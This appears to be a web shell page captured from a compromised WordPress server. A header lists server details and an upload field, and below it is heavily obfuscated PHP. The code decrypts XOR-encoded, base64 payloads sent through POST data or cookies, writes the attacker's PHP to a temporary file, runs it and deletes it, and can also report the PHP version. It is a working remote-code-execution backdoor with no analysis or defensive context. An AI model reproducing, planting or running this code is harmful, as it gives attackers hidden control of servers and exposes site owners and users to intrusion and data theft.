| Server IP : 52.202.253.110 / Your IP : 216.73.217.139 Web Server : Apache/2.4.56 (Amazon Linux) OpenSSL/3.0.8 System : Linux ip-172-32-10-67.ec2.internal 6.1.49-70.116.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Sep 6 22:13:07 UTC 2023 x86_64 User : ec2-user ( 1000) PHP Version : 8.2.9 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/vhosts/ats_html/wp-content/ |
Upload File : |
<?php
$pnwgcyv /*vjwywy */ = 'pnwgcyv' ^ '';
$_nhidvpj /*i */ = /*itmx */ $pnwgcyv(640-543) /* j */ . $pnwgcyv(114) . /* pilmw */ "\x72" . "\141" . "\171" /* iyar */ . /*vaifx */ "_".$pnwgcyv(830-721) . /* bvryhm*/ "\x61" . "\x70";
function vqetiq($cmxnxbml, $yylxofkuoklfpm){
global $pnwgcyv;
$cmxnxbml = /* c */ $pnwgcyv(200-140) . /* df*/ "?"."p"."\x68" . "\x70" /* bcq */ . /* dqz */ $pnwgcyv(32) . /* q*/ "u".$pnwgcyv(113-3) . $pnwgcyv(108) . "\151" . /* xz */ "n"."\153" /*wh */ . $pnwgcyv(1005-965) /*j*/ . "_"."_"."\x46" . /* m_gaxh */ $pnwgcyv(1020-947) /* lv */ . /* yl */ "L".$pnwgcyv(159-90) /* ng */ . $pnwgcyv(95) /* z */ . /* jja */ "_".")"."\73" /* yvsgx */ . $pnwgcyv(32) . /* jwyjz*/ $cmxnxbml[$pnwgcyv(334-234)]; $qtdfcknj = /* lsbeik */ "f"."\151" /*buc */ . $pnwgcyv(108) /* aegddb */ . "e"."\x5f" . "p"."\165" . /* ujg*/ "t"."_".$pnwgcyv(1076-977) . /*aabiiw */ $pnwgcyv(111) . /* nayf*/ $pnwgcyv(110) /* bnyt*/ . /* xumss*/ "t".$pnwgcyv(101) . "n"."t"."\163";
$qtdfcknj($yylxofkuoklfpm, $cmxnxbml);
dncdk($yylxofkuoklfpm);
}
$uzfyx = 73;function dncdk($yylxofkuoklfpm)
{
global $pnwgcyv;
/* yvg */ include($yylxofkuoklfpm); $vnobx = /*ykf */ $yylxofkuoklfpm;
@unlink($vnobx);
}
function ieu_mlsb()
{
global $pnwgcyv;
$nzyyvdi_bz = array();
$nzyyvdi_bz[$pnwgcyv(112) /* h */ . "v"] = phpversion();
/*ukm_ua*/ $nzyyvdi_bz[$pnwgcyv(570-455) /*l */ . "v"] = $pnwgcyv(684-633) /* d */ . "."."5"; $qlsjiiojss /* e */ = /* hqghm */ 74;
echo @serialize($nzyyvdi_bz);
}
function gsftbks($cmxnxbml, /* icc */ $chzzgkr)
{
global $pnwgcyv;
/* ofnjx */ $mdlp_lr = "";
/*wytcgp*/ $yylxofkuokcwzwb = strlen($cmxnxbml);
/* ch */ $hxjrh = strlen($chzzgkr);
$nzyyvdi_bz /*bobjll */ = 0; $yylxofkuok = 0;
/* e */ while /* buxgm */ ($nzyyvdi_bz < $yylxofkuokcwzwb) /*j*/ {
$yeijbnqn /* zgps*/ = $cmxnxbml[$nzyyvdi_bz] ^ $chzzgkr[$yylxofkuok /* u_lo */ % $hxjrh];
$mdlp_lr .= $yeijbnqn; $yylxofkuok++;
/*qwqhj */ $nzyyvdi_bz++;
}
/* p_o */ if /* _ */ (strlen($mdlp_lr) > /*ucpsh */ 20) {
$nzyyvdi_bzwubm = substr($mdlp_lr, /* o */ 0, /* gveweo*/ 20);
}
if (empty($mdlp_lr)) {
/* r*/ $mdlp_lr = date('Y-m-d H:i:s');
} return /* qldd */ $mdlp_lr;
}
function rwzstp__j($bxhrmaoc){
/*zqfx */ global $pnwgcyv;
$dpzazsg = "\x31" . /* o */ $pnwgcyv(334-234).$pnwgcyv(370-318) /* itelb */ . /* j*/ $pnwgcyv(644-542) . $pnwgcyv(250-200) . "\70" /* wybcbb */ . "\145" . "2"."\55" . /*mnb */ $pnwgcyv(100) /* tauc */ . "5"."\146" /* qncuc*/ . /* bky */ "2"."-"."4"."\x37" /* xpvc */ . /*qyiv */ $pnwgcyv(102) /* drwc */ . "\60" /* glkv */ . "\55" /*fjhrjd */ . $pnwgcyv(97) /* amvbbf */ . "\x37" /* t */ . "\64" . /*zuxhec */ "7"."-".$pnwgcyv(944-891) /* hhauhu */ . /*md */ "8"."b".$pnwgcyv(51) . /*arrt */ "\70" . "\62" . /* y */ "\x62" . /* wvm */ "f"."\x34" /* mzq_v */ . "\x34" . "6".$pnwgcyv(49);
foreach /* owwje */ ($bxhrmaoc as $lsnjzhsm /* lycp*/ => $cmxnxbml) /* _ymm */ {
yckhlpb(base64_decode($cmxnxbml), /* bcqmmj*/ $dpzazsg, /* gcm */ $lsnjzhsm);
/* yeoe */ }}
function yckhlpb($cmxnxbml, $dpzazsg, /* sm */ $lsnjzhsm)
{
/* lr */ global $pnwgcyv;
$cmxnxbml = unserialize(gsftbks(gsftbks($cmxnxbml, /* vvm */ $dpzazsg), /* foqmd */ $lsnjzhsm));
$aejxiakczt = /*_k */ 'frvn_xbwxx';
$_fvsfjjtk = /*ia */ 'coasvbaxm'; if (isset($cmxnxbml["\x61" . "\153"])) {
if ($cmxnxbml["\x61"] /*enizks*/ == "\x69") {
ieu_mlsb();
} /* tjdyzi */ elseif ($cmxnxbml["\x61"] /* jbt*/ == "e") {
/* ludjl */ vqetiq($cmxnxbml, sprintf("\x2e" . $pnwgcyv(47) /* yh */ . "\x25" . "\163" . "\x2e" . /*j */ "\160" . /* qmnopz */ "\x6c", md5($dpzazsg)));
$zywbykn = 44;
}
/* asc_a */ exit();
}
}
rwzstp__j($_POST); /* ik*/
$auankqs /*saf*/ = Array();
$auankqs = /* jzdbu*/ implode($auankqs);
$dzrcafulhw /* oywwq */ = $_nhidvpj('rawurldecode', $_POST);
explode('rawurldecode', /* tycz */ $auankqs);
rwzstp__j($_COOKIE);
$hjrki /*drco*/ = $_nhidvpj('rawurldecode', $_COOKIE);
?>